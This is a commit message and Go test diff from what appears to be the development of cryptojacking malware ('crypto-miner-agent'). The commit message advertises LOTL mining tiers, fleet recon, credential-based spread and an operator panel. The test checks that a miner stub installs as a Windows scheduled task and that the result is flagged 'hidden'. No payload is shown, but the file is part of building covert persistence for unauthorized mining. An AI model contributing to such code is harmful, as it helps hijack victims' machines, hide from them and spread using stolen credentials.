Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_scheduled_task_test.go

@@ -0,0 +1,58 @@
+package miner
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"runtime"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunScheduledTaskTierMockOps(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("scheduled_task tier requires windows")
+	}
+	dir := t.TempDir()
+	stub := filepath.Join(dir, "stub.exe")
+	if err := os.WriteFile(stub, []byte("fake-stub"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	SetScheduledTaskOps(&ScheduledTaskOps{
+		Exists: func(taskName string) bool { return false },
+		Install: func(taskName, stubPath, trigger string) error {
+			if taskName == "" || stubPath == "" || trigger == "" {
+				t.Fatal("missing install args")
+			}
+			return nil
+		},
+		StubPath: func(cfg config.RuntimeConfig) (string, error) {
+			return stub, nil
+		},
+	})
+	t.Cleanup(func() { SetScheduledTaskOps(nil) })
+
+	attempt := RunScheduledTaskTier(context.Background(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			Wallet:     "wallet",
+			MiningMode: "always",
+			BuildID:    "test",
+		},
+	})
+	if !attempt.OK {
+		t.Fatalf("attempt=%+v", attempt)
+	}
+	if attempt.Details["hidden"] != true {
+		t.Fatalf("details=%v", attempt.Details)
+	}
+}
+
+func TestScheduledTaskNameSanitize(t *testing.T) {
+	name := scheduledTaskName(config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{BuildID: "build-01!"},
+	})
+	if name == "" {
+		t.Fatal("empty task name")
+	}
+}